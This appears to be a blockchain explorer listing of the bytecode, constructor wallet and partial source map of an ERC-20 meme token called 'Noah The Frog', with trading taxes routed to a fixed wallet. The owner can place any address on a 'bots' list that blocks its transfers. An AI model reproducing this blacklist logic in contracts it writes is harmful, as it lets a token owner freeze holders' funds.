0x60806040526004361061012e5760003560e01c8063751039fc116100ab578063a0ef91df1161006f578063a0ef91df14610363578063a9059cbb14610378578063d34628cc14610398578063dd62ed3e146103b8578063e1c7392a146103fe578063fcfff16f1461041357600080fd5b8063751039fc146102cd5780637d1db4a5146102e25780638da5cb5b146102f85780638f9a55c01461032057806395d89b411461033657600080fd5b8063313ce567116100f2578063313ce5671461020b57806331c2d847146102275780633bbac5791461024957806370a0823114610282578063715018a6146102b857600080fd5b806306fdde031461013a578063095ea7b3146101825780630faee56f146101b257806318160ddd146101d657806323b872dd146101eb57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600d81526c4e6f6168205468652046726f6760981b60208201525b604051610179919061180b565b60405180910390f35b34801561018e57600080fd5b506101a261019d366004611885565b610428565b6040519015158152602001610179565b3480156101be57600080fd5b506101c860105481565b604051908152602001610179565b3480156101e257600080fd5b506101c861043f565b3480156101f757600080fd5b506101a26102063660046118b1565b610460565b34801561021757600080fd5b5060405160098152602001610179565b34801561023357600080fd5b50610247610242366004611908565b6104c9565b005b34801561025557600080fd5b506101a26102643660046119cd565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561028e57600080fd5b506101c861029d3660046119cd565b6001600160a01b031660009081526001602052604090205490565b3480156102c457600080fd5b50610247610568565b3480156102d957600080fd5b506102476105dc565b3480156102ee57600080fd5b506101c8600e5481565b34801561030457600080fd5b506000546040516001600160a01b039091168152602001610179565b34801561032c57600080fd5b506101c8600f5481565b34801561034257600080fd5b5060408051808201909152600481526309c9e82960e31b602082015261016c565b34801561036f57600080fd5b5061024761068e565b34801561038457600080fd5b506101a2610393366004611885565b6106c3565b3480156103a457600080fd5b506102476103b3366004611908565b6106d0565b3480156103c457600080fd5b506101c86103d33660046119ea565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561040a57600080fd5b50610247610762565b34801561041f57600080fd5b50610247610b52565b6000610435338484610b95565b5060015b92915050565b600061044d6009600a611b1d565b61045b90633b9aca00611b2c565b905090565b600061046d848484610cb9565b6104bf84336104ba85604051806060016040528060288152602001611ce1602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906112c2565b610b95565b5060019392505050565b6000546001600160a01b031633146104fc5760405162461bcd60e51b81526004016104f390611b4b565b60405180910390fd5b60005b81518110156105645760006004600084848151811061052057610520611b80565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061055c81611b96565b9150506104ff565b5050565b6000546001600160a01b031633146105925760405162461bcd60e51b81526004016104f390611b4b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106065760405162461bcd60e51b81526004016104f390611b4b565b6106126009600a611b1d565b61062090633b9aca00611b2c565b600e5561062f6009600a611b1d565b61063d90633b9aca00611b2c565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61066d6009600a611b1d565b61067b90633b9aca00611b2c565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106b85760405162461bcd60e51b81526004016104f390611b4b565b6106c1476112fc565b565b6000610435338484610cb9565b6000546001600160a01b031633146106fa5760405162461bcd60e51b81526004016104f390611b4b565b60005b81518110156105645760016004600084848151811061071e5761071e611b80565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061075a81611b96565b9150506106fd565b6000546001600160a01b0316331461078c5760405162461bcd60e51b81526004016104f390611b4b565b601254600160a01b900460ff16156107e65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f3565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561082f9030906108216009600a611b1d565b6104ba90633b9aca00611b2c565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087d57600080fd5b505afa158015610891573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b59190611bb1565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091257600080fd5b505afa158015610926573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094a9190611bb1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099257600080fd5b505af11580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611bb1565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610a12816001600160a01b031660009081526001602052604090205490565b600080610a276000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8a57600080fd5b505af1158015610a9e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac39190611bce565b505060125460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b1757600080fd5b505af1158015610b2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4f9190611bfc565b50565b6000546001600160a01b03163314610b7c5760405162461bcd60e51b81526004016104f390611b4b565b6012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610bf75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f3565b6001600160a01b038216610c585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f3565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f3565b6001600160a01b038216610d7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f3565b60008111610de15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f3565b601254600160a01b900460ff16610e76576001600160a01b03831660009081526003602052604090205460ff1680610e3157506001600160a01b03821660009081526003602052604090205460ff165b610e765760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016104f3565b601254600090600160b01b900460ff161580610e9b5750601254600160a81b900460ff165b15610f54576001600160a01b038416600090815260016020526040902054610ec39083611336565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610ef2908361137f565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f469086815260200190565b60405180910390a350505050565b6000546001600160a01b03858116911614801590610f8057506000546001600160a01b03848116911614155b156112b0576001600160a01b03841660009081526004602052604090205460ff16158015610fc757506001600160a01b03831660009081526004602052604090205460ff16155b610fd057600080fd5b610ffc6064610ff6600a54600d5411610feb57600654610fef565b6008545b85906113de565b9061145d565b6012549091506001600160a01b03858116911614801561102a57506011546001600160a01b03848116911614155b801561104f57506001600160a01b03831660009081526003602052604090205460ff16155b1561115457600e548211156110a65760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104f3565b600f54826110c9856001600160a01b031660009081526001602052604090205490565b6110d39190611c1e565b11156111215760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104f3565b61113c6064610ff6600a54600d5411610feb57600654610fef565b600d8054919250600061114e83611b96565b91905055505b6012546001600160a01b03848116911614801561117a57506001600160a01b0384163014155b156111a7576111a46064610ff6600b54600d541161119a57600754610fef565b60095485906113de565b90505b30600090815260016020526040902054601254600160a81b900460ff161580156111de57506012546001600160a01b038581169116145b80156111f35750601254600160b01b900460ff165b80156112025750600c54600d54115b156112ae576014544311156112175760006013555b6003601354106112695760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b2100000000000000000060448201526064016104f3565b801561128c5761128c611287846112828460105461149f565b61149f565b6114b4565b6013805490600061129c83611b96565b9091555050436014556112ae476112fc565b505b6112bc8484848461163d565b50505050565b600081848411156112e65760405162461bcd60e51b81526004016104f3919061180b565b5060006112f38486611c36565b95945050505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610564573d6000803e3d6000fd5b600061137883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c2565b9392505050565b60008061138c8385611c1e565b9050838110156113785760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f3565b6000826113ed57506000610439565b60006113f98385611b2c565b9050826114068583611c4d565b146113785760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f3565b600061137883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117a3565b60008183116114ae5782611378565b50919050565b6012805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114fc576114fc611b80565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561155057600080fd5b505afa158015611564573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115889190611bb1565b8160018151811061159b5761159b611b80565b6001600160a01b0392831660209182029290920101526011546115c19130911684610b95565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115fa908590600090869030904290600401611c6f565b600060405180830381600087803b15801561161457600080fd5b505af1158015611628573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b600081156116b9573060009081526001602052604090205461165f908361137f565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116b09086815260200190565b60405180910390a35b6005546000906116d59087906001600160a01b031686856117d1565b6001600160a01b0387166000908152600160205260409020549091506116fb9082611336565b6001600160a01b0387166000908152600160205260409020556117406117218585611336565b6001600160a01b0387166000908152600160205260409020549061137f565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61178a8787611336565b60405190815260200160405180910390a3505050505050565b600081836117c45760405162461bcd60e51b81526004016104f3919061180b565b5060006112f38486611c4d565b60006001600160a01b03858116908516148015906117f7576117f4600184611c1e565b92505b6118018484611b2c565b9695505050505050565b600060208083528351808285015260005b818110156118385785810183015185820160400152820161181c565b8181111561184a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610b4f57600080fd5b803561188081611860565b919050565b6000806040838503121561189857600080fd5b82356118a381611860565b946020939093013593505050565b6000806000606084860312156118c657600080fd5b83356118d181611860565b925060208401356118e181611860565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561191b57600080fd5b823567ffffffffffffffff8082111561193357600080fd5b818501915085601f83011261194757600080fd5b813581811115611959576119596118f2565b8060051b604051601f19603f8301168101818110858211171561197e5761197e6118f2565b60405291825284820192508381018501918883111561199c57600080fd5b938501935b828510156119c1576119b285611875565b845293850193928501926119a1565b98975050505050505050565b6000602082840312156119df57600080fd5b813561137881611860565b600080604083850312156119fd57600080fd5b8235611a0881611860565b91506020830135611a1881611860565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611a74578160001904821115611a5a57611a5a611a23565b80851615611a6757918102915b93841c9390800290611a3e565b509250929050565b600082611a8b57506001610439565b81611a9857506000610439565b8160018114611aae5760028114611ab857611ad4565b6001915050610439565b60ff841115611ac957611ac9611a23565b50506001821b610439565b5060208310610133831016604e8410600b8410161715611af7575081810a610439565b611b018383611a39565b8060001904821115611b1557611b15611a23565b029392505050565b600061137860ff841683611a7c565b6000816000190483118215151615611b4657611b46611a23565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611baa57611baa611a23565b5060010190565b600060208284031215611bc357600080fd5b815161137881611860565b600080600060608486031215611be357600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611c0e57600080fd5b8151801515811461137857600080fd5b60008219821115611c3157611c31611a23565b500190565b600082821015611c4857611c48611a23565b500390565b600082611c6a57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cbf5784516001600160a01b031683529383019391830191600101611c9a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122099604b23f9ae5826ae3e0f78f8675e81faf65de0730f3fcd0d05de4385c1c2e264736f6c63430008090033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000034158ce7133bf4e275bb2512082829041522936e

-----Decoded View---------------
Arg [0] : _wallet (address): 0x34158cE7133Bf4e275bB2512082829041522936e

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000034158ce7133bf4e275bb2512082829041522936e


Deployed Bytecode Sourcemap

4074:10004:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5993:83;;;;;;;;;;-1:-1:-1;6063:5:0;;;;;;;;;;;;-1:-1:-1;;;6063:5:0;;;;5993:83;;;;;;;:::i;:::-;;;;;;;;6876:186;;;;;;;;;;-1:-1:-1;6876:186:0;;;;;:::i;:::-;;:::i;:::-;;;1376:14:1;;1369:22;1351:41;;1339:2;1324:18;6876:186:0;1211:187:1;5126:57:0;;;;;;;;;;;;;;;;;;;1549:25:1;;;1537:2;1522:18;5126:57:0;1403:177:1;6270:95:0;;;;;;;;;;;;;:::i;7070:446::-;;;;;;;;;;-1:-1:-1;7070:446:0;;;;;:::i;:::-;;:::i;6179:83::-;;;;;;;;;;-1:-1:-1;6179:83:0;;4913:1;2188:36:1;;2176:2;2161:18;6179:83:0;2046:184:1;12307:168:0;;;;;;;;;;-1:-1:-1;12307:168:0;;;;;:::i;:::-;;:::i;:::-;;12483:86;;;;;;;;;;-1:-1:-1;12483:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;12554:7:0;12530:4;12554:7;;;:4;:7;;;;;;;;;12483:86;6373:119;;;;;;;;;;-1:-1:-1;6373:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6466:18:0;6439:7;6466:18;;;:9;:18;;;;;;;6373:119;3919:148;;;;;;;;;;;;;:::i;11864:162::-;;;;;;;;;;;;;:::i;4994:58::-;;;;;;;;;;;;;;;;3705:79;;;;;;;;;;-1:-1:-1;3743:7:0;3770:6;3705:79;;-1:-1:-1;;;;;3770:6:0;;;3891:51:1;;3879:2;3864:18;3705:79:0;3745:203:1;5059:60:0;;;;;;;;;;;;;;;;6084:87;;;;;;;;;;-1:-1:-1;6156:7:0;;;;;;;;;;;;-1:-1:-1;;;6156:7:0;;;;6084:87;;13451:96;;;;;;;;;;;;;:::i;6500:192::-;;;;;;;;;;-1:-1:-1;6500:192:0;;;;;:::i;:::-;;:::i;12135:164::-;;;;;;;;;;-1:-1:-1;12135:164:0;;;;;:::i;:::-;;:::i;6700:168::-;;;;;;;;;;-1:-1:-1;6700:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6833:18:0;;;6806:7;6833:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6700:168;12686:760;;;;;;;;;;;;;:::i;12577:101::-;;;;;;;;;;;;;:::i;6876:186::-;6976:4;6993:39;518:10;7016:7;7025:6;6993:8;:39::i;:::-;-1:-1:-1;7050:4:0;6876:186;;;;;:::o;6270:95::-;6323:7;4972:15;4913:1;4972:2;:15;:::i;:::-;4956:31;;:13;:31;:::i;:::-;6343:14;;6270:95;:::o;7070:446::-;7202:4;7219:36;7229:6;7237:9;7248:6;7219:9;:36::i;:::-;7266:220;7289:6;518:10;7337:138;7393:6;7337:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7337:19:0;;;;;;:11;:19;;;;;;;;518:10;7337:33;;;;;;;;;;:37;:138::i;:::-;7266:8;:220::i;:::-;-1:-1:-1;7504:4:0;7070:446;;;;;:::o;12307:168::-;3832:6;;-1:-1:-1;;;;;3832:6:0;518:10;3832:22;3824:67;;;;-1:-1:-1;;;3824:67:0;;;;;;;:::i;:::-;;;;;;;;;12382:6:::1;12377:91;12398:6;:13;12394:1;:17;12377:91;;;12451:5;12433:4;:15;12438:6;12445:1;12438:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12433:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12433:15:0;:23;;-1:-1:-1;;12433:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12413:3;::::1;::::0;::::1;:::i;:::-;;;;12377:91;;;;12307:168:::0;:::o;3919:148::-;3832:6;;-1:-1:-1;;;;;3832:6:0;518:10;3832:22;3824:67;;;;-1:-1:-1;;;3824:67:0;;;;;;;:::i;:::-;4026:1:::1;4010:6:::0;;3989:40:::1;::::0;-1:-1:-1;;;;;4010:6:0;;::::1;::::0;3989:40:::1;::::0;4026:1;;3989:40:::1;4057:1;4040:19:::0;;-1:-1:-1;;;;;;4040:19:0::1;::::0;;3919:148::o;11864:162::-;3832:6;;-1:-1:-1;;;;;3832:6:0;518:10;3832:22;3824:67;;;;-1:-1:-1;;;3824:67:0;;;;;;;:::i;:::-;4972:15:::1;4913:1;4972:2;:15;:::i;:::-;4956:31;::::0;:13:::1;:31;:::i;:::-;11918:12;:22:::0;4972:15:::1;4913:1;4972:2;:15;:::i;:::-;4956:31;::::0;:13:::1;:31;:::i;:::-;11951:14;:24:::0;11991:27:::1;4972:15;4913:1;4972:2;:15;:::i;:::-;4956:31;::::0;:13:::1;:31;:::i;:::-;11991:27;::::0;1549:25:1;;;1537:2;1522:18;11991:27:0::1;;;;;;;11864:162::o:0;13451:96::-;3832:6;;-1:-1:-1;;;;;3832:6:0;518:10;3832:22;3824:67;;;;-1:-1:-1;;;3824:67:0;;;;;;;:::i;:::-;13504:35:::1;13517:21;13504:12;:35::i;:::-;13451:96::o:0;6500:192::-;6603:4;6620:42;518:10;6644:9;6655:6;6620:9;:42::i;12135:164::-;3832:6;;-1:-1:-1;;;;;3832:6:0;518:10;3832:22;3824:67;;;;-1:-1:-1;;;3824:67:0;;;;;;;:::i;:::-;12209:6:::1;12204:88;12225:5;:12;12221:1;:16;12204:88;;;12276:4;12259;:14;12264:5;12270:1;12264:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12259:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12259:14:0;:21;;-1:-1:-1;;12259:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12239:3;::::1;::::0;::::1;:::i;:::-;;;;12204:88;;12686:760:::0;3832:6;;-1:-1:-1;;;;;3832:6:0;518:10;3832:22;3824:67;;;;-1:-1:-1;;;3824:67:0;;;;;;;:::i;:::-;12741:11:::1;::::0;-1:-1:-1;;;12741:11:0;::::1;;;12740:12;12732:48;;;::::0;-1:-1:-1;;;12732:48:0;;6869:2:1;12732:48:0::1;::::0;::::1;6851:21:1::0;6908:2;6888:18;;;6881:30;6947:25;6927:18;;;6920:53;6990:18;;12732:48:0::1;6667:347:1::0;12732:48:0::1;12791:15;:104:::0;;-1:-1:-1;;;;;;12791:104:0::1;12842:42;12791:104:::0;;::::1;::::0;;;12906:58:::1;::::0;12923:4:::1;::::0;4972:15:::1;4913:1;4972:2;:15;:::i;:::-;4956:31;::::0;:13:::1;:31;:::i;12906:58::-;13009:15;;;;;;;;;-1:-1:-1::0;;;;;13009:15:0::1;-1:-1:-1::0;;;;;13009:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12991:55:0::1;;13069:4;13089:15;;;;;;;;;-1:-1:-1::0;;;;;13089:15:0::1;-1:-1:-1::0;;;;;13089:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12991:131;::::0;-1:-1:-1;;;;;;12991:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7505:15:1;;;12991:131:0::1;::::0;::::1;7487:34:1::0;7557:15;;7537:18;;;7530:43;7422:18;;12991:131:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12975:13;:147:::0;;-1:-1:-1;;;;;12975:147:0;;::::1;-1:-1:-1::0;;;;;;12975:147:0;;::::1;;::::0;;13133:15:::1;::::0;::::1;:31;13172:21;13217:4;13237:24;13217:4:::0;-1:-1:-1;;;;;6466:18:0;6439:7;6466:18;;;:9;:18;;;;;;;6373:119;13237:24:::1;13276:1;13292::::0;13308:7:::1;3743::::0;3770:6;-1:-1:-1;;;;;3770:6:0;;3705:79;13308:7:::1;13133:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13133:223:0;;;-1:-1:-1;;;;;7943:15:1;;;13133:223:0::1;::::0;::::1;7925:34:1::0;7975:18;;;7968:34;;;;8018:18;;;8011:34;;;;8061:18;;;8054:34;8125:15;;;8104:19;;;8097:44;13330:15:0::1;8157:19:1::0;;;8150:35;7859:19;;13133:223:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13374:13:0::1;::::0;13405:15:::1;::::0;13367:71:::1;::::0;-1:-1:-1;;;13367:71:0;;-1:-1:-1;;;;;13405:15:0;;::::1;13367:71;::::0;::::1;8681:51:1::0;-1:-1:-1;;8748:18:1;;;8741:34;13374:13:0;::::1;::::0;-1:-1:-1;13367:29:0::1;::::0;8654:18:1;;13367:71:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12686:760::o:0;12577:101::-;3832:6;;-1:-1:-1;;;;;3832:6:0;518:10;3832:22;3824:67;;;;-1:-1:-1;;;3824:67:0;;;;;;;:::i;:::-;12623:11:::1;:18:::0;;-1:-1:-1;;;;12652:18:0;-1:-1:-1;;;12652:18:0;;;12577:101::o;7524:335::-;-1:-1:-1;;;;;7617:19:0;;7609:68;;;;-1:-1:-1;;;7609:68:0;;9270:2:1;7609:68:0;;;9252:21:1;9309:2;9289:18;;;9282:30;9348:34;9328:18;;;9321:62;-1:-1:-1;;;9399:18:1;;;9392:34;9443:19;;7609:68:0;9068:400:1;7609:68:0;-1:-1:-1;;;;;7696:21:0;;7688:68;;;;-1:-1:-1;;;7688:68:0;;9675:2:1;7688:68:0;;;9657:21:1;9714:2;9694:18;;;9687:30;9753:34;9733:18;;;9726:62;-1:-1:-1;;;9804:18:1;;;9797:32;9846:19;;7688:68:0;9473:398:1;7688:68:0;-1:-1:-1;;;;;7767:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7819:32;;1549:25:1;;;7819:32:0;;1522:18:1;7819:32:0;;;;;;;7524:335;;;:::o;8100:3023::-;-1:-1:-1;;;;;8188:18:0;;8180:68;;;;-1:-1:-1;;;8180:68:0;;10078:2:1;8180:68:0;;;10060:21:1;10117:2;10097:18;;;10090:30;10156:34;10136:18;;;10129:62;-1:-1:-1;;;10207:18:1;;;10200:35;10252:19;;8180:68:0;9876:401:1;8180:68:0;-1:-1:-1;;;;;8267:16:0;;8259:64;;;;-1:-1:-1;;;8259:64:0;;10484:2:1;8259:64:0;;;10466:21:1;10523:2;10503:18;;;10496:30;10562:34;10542:18;;;10535:62;-1:-1:-1;;;10613:18:1;;;10606:33;10656:19;;8259:64:0;10282:399:1;8259:64:0;8351:1;8342:6;:10;8334:64;;;;-1:-1:-1;;;8334:64:0;;10888:2:1;8334:64:0;;;10870:21:1;10927:2;10907:18;;;10900:30;10966:34;10946:18;;;10939:62;-1:-1:-1;;;11017:18:1;;;11010:39;11066:19;;8334:64:0;10686:405:1;8334:64:0;8416:11;;-1:-1:-1;;;8416:11:0;;;;8411:179;;-1:-1:-1;;;;;8470:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;8498:22:0;;;;;;:18;:22;;;;;;;;8470:50;8444:134;;;;-1:-1:-1;;;8444:134:0;;11298:2:1;8444:134:0;;;11280:21:1;11337:2;11317:18;;;11310:30;-1:-1:-1;;;11356:18:1;;;11349:52;11418:18;;8444:134:0;11096:346:1;8444:134:0;8641:11;;8602:17;;-1:-1:-1;;;8641:11:0;;;;8640:12;;:22;;-1:-1:-1;8656:6:0;;-1:-1:-1;;;8656:6:0;;;;8640:22;8636:223;;;-1:-1:-1;;;;;8697:15:0;;;;;;:9;:15;;;;;;:27;;8717:6;8697:19;:27::i;:::-;-1:-1:-1;;;;;8679:15:0;;;;;;;:9;:15;;;;;;:45;;;;8755:13;;;;;;;:25;;8773:6;8755:17;:25::i;:::-;-1:-1:-1;;;;;8739:13:0;;;;;;;:9;:13;;;;;;;:41;;;;8800:26;;;;;;;;;;8819:6;1549:25:1;;1537:2;1522:18;;1403:177;8800:26:0;;;;;;;;8841:7;8100:3023;;;:::o;8636:223::-;3743:7;3770:6;-1:-1:-1;;;;;8875:15:0;;;3770:6;;8875:15;;;;:32;;-1:-1:-1;3743:7:0;3770:6;-1:-1:-1;;;;;8894:13:0;;;3770:6;;8894:13;;8875:32;8871:2189;;;-1:-1:-1;;;;;8933:10:0;;;;;;:4;:10;;;;;;;;8932:11;:24;;;;-1:-1:-1;;;;;;8948:8:0;;;;;;:4;:8;;;;;;;;8947:9;8932:24;8924:33;;;;;;8986:208;9190:3;8986:181;9050:15;;9038:9;;:27;9037:111;;9134:14;;9037:111;;;9094:12;;9037:111;8986:6;;:28;:181::i;:::-;:203;;:208::i;:::-;9241:13;;8974:220;;-1:-1:-1;;;;;;9233:21:0;;;9241:13;;9233:21;:72;;;;-1:-1:-1;9289:15:0;;-1:-1:-1;;;;;9275:30:0;;;9289:15;;9275:30;;9233:72;:116;;;;-1:-1:-1;;;;;;9327:22:0;;;;;;:18;:22;;;;;;;;9326:23;9233:116;9211:701;;;9402:12;;9392:6;:22;;9384:60;;;;-1:-1:-1;;;9384:60:0;;11649:2:1;9384:60:0;;;11631:21:1;11688:2;11668:18;;;11661:30;11727:27;11707:18;;;11700:55;11772:18;;9384:60:0;11447:349:1;9384:60:0;9519:14;;9509:6;9493:13;9503:2;-1:-1:-1;;;;;6466:18:0;6439:7;6466:18;;;:9;:18;;;;;;;6373:119;9493:13;:22;;;;:::i;:::-;:40;;9463:140;;;;-1:-1:-1;;;9463:140:0;;12136:2:1;9463:140:0;;;12118:21:1;12175:2;12155:18;;;12148:30;12214:28;12194:18;;;12187:56;12260:18;;9463:140:0;11934:350:1;9463:140:0;9634:232;9862:3;9634:201;9706:15;;9694:9;;:27;9693:119;;9798:14;;9693:119;;9634:232;9885:9;:11;;9622:244;;-1:-1:-1;9885:9:0;:11;;;:::i;:::-;;;;;;9211:701;9938:13;;-1:-1:-1;;;;;9932:19:0;;;9938:13;;9932:19;:44;;;;-1:-1:-1;;;;;;9955:21:0;;9971:4;9955:21;;9932:44;9928:332;;;10009:235;10240:3;10009:204;10081:16;;10069:9;;:28;10068:122;;10175:15;;10068:122;;;10130:13;;10009:6;;:32;:204::i;:235::-;9997:247;;9928:332;10325:4;10276:28;6466:18;;;:9;:18;;;;;;10369:6;;-1:-1:-1;;;10369:6:0;;;;10368:7;:47;;;;-1:-1:-1;10402:13:0;;-1:-1:-1;;;;;10396:19:0;;;10402:13;;10396:19;10368:47;:79;;;;-1:-1:-1;10436:11:0;;-1:-1:-1;;;10436:11:0;;;;10368:79;:130;;;;;10480:18;;10468:9;;:30;10368:130;10346:703;;;10552:13;;10537:12;:28;10533:90;;;10602:1;10590:9;:13;10533:90;10661:1;10649:9;;:13;10641:49;;;;-1:-1:-1;;;10641:49:0;;12491:2:1;10641:49:0;;;12473:21:1;12530:2;12510:18;;;12503:30;12569:25;12549:18;;;12542:53;12612:18;;10641:49:0;12289:347:1;10641:49:0;10713:24;;10709:190;;10762:117;10805:51;10809:6;10817:38;10821:20;10843:11;;10817:3;:38::i;:::-;10805:3;:51::i;:::-;10762:16;:117::i;:::-;10919:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;10965:12:0;10949:13;:28;10998:35;11011:21;10998:12;:35::i;:::-;8909:2151;8871:2189;11072:43;11087:4;11093:2;11097:6;11105:9;11072:14;:43::i;:::-;8169:2954;8100:3023;;;:::o;2507:224::-;2627:7;2663:12;2655:6;;;;2647:29;;;;-1:-1:-1;;;2647:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2687:9:0;